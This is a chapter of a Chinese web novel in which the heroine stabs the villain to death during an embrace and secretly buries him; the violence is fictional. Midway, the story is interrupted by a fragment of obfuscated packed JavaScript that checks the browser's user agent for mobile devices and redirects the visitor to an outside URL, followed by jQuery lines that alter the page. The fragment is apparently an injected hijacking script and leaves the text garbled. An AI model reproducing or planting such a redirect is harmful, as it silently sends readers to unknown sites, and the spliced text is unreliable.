60. 埋骨之地
作品:《攻略阴湿反派失败后》 殷逐白看着镜中的脸。
那是张漂亮的脸。
艳丽,带着十足的迷惑性,像是某种有毒却美丽的昆虫,白皙的面庞在镜中析出模糊的光晕。
他长得并不像他的皇帝母亲,反而十足地像他的父亲。
美丽,妖娆,只是从前他格外排斥这种特质,总去学谢流玉。一言一行,温文尔雅,让人忽略了他这阴郁美丽的相貌。
崔若盈是喜欢这个他,还是那个他呢?
手指顺着脸颊,缓缓抚上薄薄的唇。好像有雨点落在唇上、凉凉的、麻麻的——原来不是雨点,而是她的吻。
他忍不住绽放出春花般的微笑。
崔若盈喜欢他。
还亲了他。
即使那已经是昨天的事,但想起来,仍足以让他坠入潮湿如梦的春雾,不得解脱。
抬手将头发束起。发尾悄悄垂到腰际,绣着花的发带藏在发间,若隐若现。
对着镜子怔忡一会儿,殷逐白从袖中掏出一根发簪,静静地看着。
发簪是木质的,这些天,他日日夜夜打磨,终于雕刻出了想要的模样。
是桃枝的形状。枝头用罕见的明亮颜料细细描摹了浅绯色的花朵。花瓣生动地翕张着,像是漂亮的金鱼尾巴一般生动。
崔若盈只想要悬玉山庄最漂亮的那朵花。他不知道哪朵才漂亮,那些一朝一败、飘零雨中的花,看似美丽,却无法与崔若盈相配。
所以他亲手雕了一朵。
发簪雕工精湛,像是出自名匠之手,但殷逐白仍不满意。
粉色的花太浅薄,红色的花太妖艳,蓝色的又太冷。有生命的花会枯萎,无生命的花又呆板乏味。
谁也比不上崔若盈。
他只有把自己送上崔若盈的案头。任她挑选。
殷逐白摩挲着桃枝发簪,微微倾身,在发簪上落下轻浅的一吻。抬眼看窗外,斜斜雨丝中,草木愈发青翠。
原来,夏天已经到了。
崔若盈一夜未眠,就这样清醒地度过了春与夏的分界点。倒也没想什么,只是枯坐着,枯坐着,枯坐到天明。
看时间差不多了,她披上外袍。思索两秒,又拿起短刀。
短刀锋利,上面还淬了毒,在天光下闪烁着冰冷的寒光。崔若盈想了想,把它塞进系统背包里。
谈情说爱不需要带刀。如果她拿着刀过去,会让殷逐白提起戒备的。
还不如塞进系统里,方便取用,还能打殷逐白一个措手不及。
一切准备完毕,要出发时又看了眼窗外。
堆积的浓云遮住碧蓝天空,所有景色都被笼罩在这淡淡的愁云之中。没有下雨,但这个天气,很难说之后不会下。
犹豫几秒,崔若盈还是没带伞。
伞会碍事。比起计划失败,淋点雨其实不算什么。
一走出门,就看见寇言湘和祝星游坐到院子里。因为殷逐白受伤加上天气很差,几人决定明天再出发。
寇言湘和祝星游得了空闲,整日待在一起。
今天天气这么差,他们也腻歪得起来。
“小盈。”见崔若盈出来,寇言湘放下手里的点心。那点心应该是祝星游做的,卖相极差,“你要去哪里呀?”
崔若盈笑盈盈地回应道:“殷家主约我在桃花林见面,可能是有什么重要的事吧。”
寇言湘顿时挤眉弄眼:“咦?难道是……”
一直沉默的祝星游也道:“我过来的时候,正好见他匆匆出去了。”还打扮得花枝招展的。
当然,性格沉闷的祝星游没把后面这句话说出来。
殷逐白已经出去了吗?
她本想早点过去,看看能不能提前做些不止,没想到殷逐白比她还快。
“不是你们想的那样。”崔若盈面色微红,糊里糊涂地搪塞道,“那……我去找他。”
说着,快步出了门。凉风迎面一吹,她脸上红晕退去,眼中闪过沉沉冷光。
她是要去杀人的。
崔若盈告诫自己。
因为天气不好,街上没什么人。偶尔有几声叫卖混在风声中,与她擦肩而过,带起空旷的回音。
到了城郊,天空中果然飘起了小雨。幸好雨下得不大,只是星星点点落在她额间。崔若盈没在意,径直朝着记忆中桃花林的方向走去。
离得远远地,只看见一片凌乱的粉。走近些才发现,原本漂亮的桃花林已被连日暴雨摧残,浅粉色花瓣被雨打着,满满铺了一地。
桃花树上,还有花瓣不堪重负地落下,飘飘洒洒,沉重落下。
殷逐白站在树下,撑着一把红艳艳的竹柄伞,伞骨像是鸟类的翅膀一样睁开。
他仍是穿着黑衣,落花黏在黑色衣摆上。黑衣如夜,落花如星。
崔若盈陡然停住脚步。
“盈盈!”
殷逐白的声音中封藏着掩盖不掉的雀跃。
“你怎么没撑伞?”
他快步走到她的面前。
伞罩了过去,挡住随雨飞扬的落花,在她脸上投下一片阴影。他身上的冷冷气味,在伞下这个暧昧的小空间中蔓延。
崔若盈仰起头:“你等了很久吗?”
她眼珠转动,余光瞄见他垂落的袖子里藏着什么棱角分明的东西。是刀吗?他也选择在今天动手?
怪不得来这么早。
她和他,还真是心有灵犀。
“没有很久。”
他微微垂头,直视着她的双眼。殷逐白的眼眸中似有银色的星光闪烁,嘴角也缓缓扬起,露出一个有些青涩的笑容。
“我只是想早点儿告诉你……我的答案。”
他的答案——
是日日夜夜千丝万缕濛濛雨,是朝朝暮暮百折千回脉脉风;是朦朦胧胧花雾里半点晴朗春色,是冷冷清清月光下一盏摇曳寒灯。
也是寂寂冬山上,皑皑飞雪中,一点梅花含着的殷红情愫。
他倏地向前一步,沉沉地抱住她。心跳交缠,柔软的发丝随着风风雨雨,飘到她的肩上。
柔韧的蛛网,主动抱住了它的猎物。丝丝缕缕,长发如雨,一端贪婪抓在她的身上,一端紧紧系着他的头颅,仿佛是在他脑中扎根的情丝。
“盈盈。”
他把头埋在她的颈间,湿热的呼吸同她的名字一起,喷薄到她耳中。
崔若盈的面色白了几分,是出于惧怕,还是因为其他?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065948|156401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>红伞摇晃起来,水滴四处飞溅,有一滴落到她手上,竟是意料之外地滚烫。崔若盈也抱住他,一只手抓住他随风羞怯飞舞的发丝。
殷逐白的手抬起来了。
虽然看不见,但崔若盈知道,他手里应当攥着什么东西,正不疾不徐地朝着她的颈侧刺去。
也许是把短刀,就像她手里的这把一样。
是的。下一秒,她的脖子、他的后背,都会血花飞溅。这对互诉衷肠的恋人间,也一定会死上一个,另一人,则沦为凶手。
“盈盈。我心——”
他的话没能说完。
因为崔若盈抢先一步,慢声说道:“小白……再见。”
短刀毫不犹豫地刺入他的后背。速度之快,他没能反应过来。
黏腻的鲜血顺着刀身流下,血腥味在花香中蔓延。
崔若盈一鼓作气,猛地旋转刀柄,殷逐白闷哼一声,却怕吓到她似的,将痛苦的呻/吟咽入腹中。
可仍有两滴温热的液体落在她颈间,顺着锁骨的弧度,缓缓地滑到胸口。
是血吗?崔若盈没空在意。
她只是一味地将刀刺入他的身体。
抽出,再刺入,直到被湿滑血液染红的手再也握不住刀。这个时候,殷逐白似乎已经死了。
他到底还是没能把那句话说完。沉沉的尸体伏在她的肩上,湿热的呼吸消失,红伞歪斜,最终无力地倒在落花中。
只有那头细细的情丝还保持着最后的韧性,温柔而羞怯地拥抱着她。
耳边传来【任务完成】的提示音。崔若盈无力再想,茫然地环顾四周,抱着殷逐白的尸体,将他放到一棵最漂亮的桃花树下。
这时,她才真正看到殷逐白的死相。
没有想象中的狰狞恐怖。好像他本就是没有生命的人偶,雪白的皮肤、乌黑的头发、玻璃做的眼珠。
死亡不是他的惩罚,而是一种亘古永恒的宿命。
脸上没有血。崔若盈下意识摸了摸自己的胸口,那里也没有血,但衣服有些湿。
不是血。而是眼泪。
反派也会哭吗?
崔若盈没空去想。她机械地取出系统背包里的铁锹,在地上挖了个可容纳一人的坑。
有灵力加持,没花太久,坑就渐渐成型了。
一阵风吹来,碎花如雪,先在坑底铺了浅浅的一层,像是盖在夜幕上的晚霞。
崔若盈没有说话,将殷逐白埋进坑里,填上泥土。
土渐渐填平了坑,美丽的青年一点点消失在泥土中,并且将永远、永远地沉眠于地下世界。
有什么不好呢?
细雨染湿了衣裳,冷冷的。崔若盈填好坑,又遮盖了土壤被翻过的痕迹。她向来细心,定能将犯罪现场隐藏得天衣无缝。
也许等后人发现这起凶案时,殷逐白已经成了一具白骨。
崔若盈收好工具,静静站了一会儿,忽地松了一口气,好像终于从悠长的噩梦中惊醒。
结束了。
一切都结束了。
两个骗子互相欺骗的故事也终于落下帷幕——在这样一个潮湿的、闷热的、提前到来的梅雨天。
她与他,再也不相干。